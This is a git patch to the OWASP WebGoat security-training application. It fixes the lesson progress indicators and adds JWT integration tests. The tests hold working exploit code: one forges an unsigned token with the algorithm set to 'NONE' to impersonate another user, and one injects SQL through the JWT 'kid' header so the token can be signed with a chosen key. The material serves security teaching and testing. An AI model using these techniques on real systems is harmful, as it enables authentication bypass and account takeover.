From 832d6432fc660f0c09965344f97ffebe2c5ddcc5 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ren=C3=A9=20Zubcevic?= Date: Thu, 7 May 2020 08:28:45 +0200 Subject: [PATCH] fix for JWT green button and WebWolf intro green button and added jwt int tests (#808) --- .gitignore | 1 + .../js/goatApp/view/PaginationControlView.js | 19 +++--- .../java/org/owasp/webgoat/JWTLessonTest.java | 62 ++++++++++++++++++- .../resources/html/WebWolfIntroduction.html | 2 +- 4 files changed, 74 insertions(+), 10 deletions(-) diff --git a/.gitignore b/.gitignore index 3f7a13aae..bf58dce83 100644 --- a/.gitignore +++ b/.gitignore @@ -15,6 +15,7 @@ /.externalToolBuilders/ .project */target/* +*.pmd mongo-data/* .classpath .idea/ diff --git a/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js b/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js index 7dac8f063..46ad69241 100644 --- a/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js +++ b/webgoat-container/src/main/resources/static/js/goatApp/view/PaginationControlView.js @@ -81,14 +81,19 @@ define(['jquery', var solvedClass = 'solved-true' for (var i=0; i< $assignmentForms.length; i++) { //normalize path - var action = $assignmentForms.attr('action');//.replace(/\//g,''); - if (action && isAttackSolved(action)) { - //pageClass = 'fa fa-check-square-o assignment-solved'; - //pageAssignments.attacks.push({solved:true}); - } else { - solvedClass = 'solved-false'; - + var action = $assignmentForms.attr('action'); + if (action.endsWith("/WebGoat/WebWolf/mail/")) { + //fix for now. the find does not seem to work properly and gets confused with two /mail + action = "/WebGoat/WebWolf/mail/send"; + } + if (action.indexOf("?")>-1) { + //used to also mark forms like JWT assignment 8 complete + action = action.substring(0,action.indexOf("?")); } + if (action && isAttackSolved(action)) { + } else { + solvedClass = 'solved-false'; + } } pages.push({solvedClass:solvedClass,content:'assignment',curPageClass:curPageClass,pageClass:pageClass}); } diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java index 8eca3134a..9611a2f41 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java +++ b/webgoat-integration-tests/src/test/java/org/owasp/webgoat/JWTLessonTest.java @@ -8,10 +8,11 @@ import java.time.Instant; import java.util.Base64; import java.util.Calendar; import java.util.Date; +import java.util.HashMap; +import java.util.Map; import org.hamcrest.CoreMatchers; import org.junit.Assert; -import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.Test; import org.owasp.webgoat.jwt.JWTSecretKeyEndpoint; @@ -19,6 +20,8 @@ import com.fasterxml.jackson.databind.JsonNode; import com.fasterxml.jackson.databind.ObjectMapper; import com.fasterxml.jackson.databind.node.ObjectNode; +import io.jsonwebtoken.Header; +import io.jsonwebtoken.JwsHeader; import io.jsonwebtoken.Jwt; import io.jsonwebtoken.JwtException; import io.jsonwebtoken.Jwts; @@ -37,7 +40,11 @@ public class JWTLessonTest extends IntegrationTest { findPassword(); - // checkResults("/JWT/"); + buyAsTom(); + + deleteTom(); + + checkResults("/JWT/"); } @@ -131,4 +138,55 @@ public class JWTLessonTest extends IntegrationTest { .extract().path("lessonCompleted"), CoreMatchers.is(true)); } + private void buyAsTom() throws IOException { + + String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset()))); + + String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset()))); + + body = body.replace("Jerry", "Tom"); + + ObjectMapper mapper = new ObjectMapper(); + JsonNode headerNode = mapper.readTree(header); + headerNode = ((ObjectNode) headerNode).put("alg", "NONE"); + + String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".") + .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString()) + .concat(".").replace("=", ""); + + Assert.assertThat(RestAssured.given() + .when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .header("Authorization","Bearer "+replacedToken) + .post(url("/WebGoat/JWT/refresh/checkout")) + .then().statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + + private void deleteTom() { + + Map header = new HashMap(); + header.put(Header.TYPE, Header.JWT_TYPE); + header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --"); + String token = Jwts.builder() + .setHeader(header) + .setIssuer("WebGoat Token Builder") + .setAudience("webgoat.org") + .setIssuedAt(Calendar.getInstance().getTime()) + .setExpiration(Date.from(Instant.now().plusSeconds(60))) + .setSubject("tom@webgoat.org") + .claim("username", "Tom") + .claim("Email", "tom@webgoat.org") + .claim("Role", new String[] {"Manager", "Project Administrator"}) + .signWith(SignatureAlgorithm.HS256, "deletingTom").compact(); + + Assert.assertThat(RestAssured.given() + .when().relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .post(url("/WebGoat/JWT/final/delete?token="+token)) + .then() + .statusCode(200) + .extract().path("lessonCompleted"), CoreMatchers.is(true)); + } + } diff --git a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html b/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html index ec47b55d7..7ce1511de 100644 --- a/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html +++ b/webgoat-lessons/webwolf-introduction/src/main/resources/html/WebWolfIntroduction.html @@ -38,7 +38,7 @@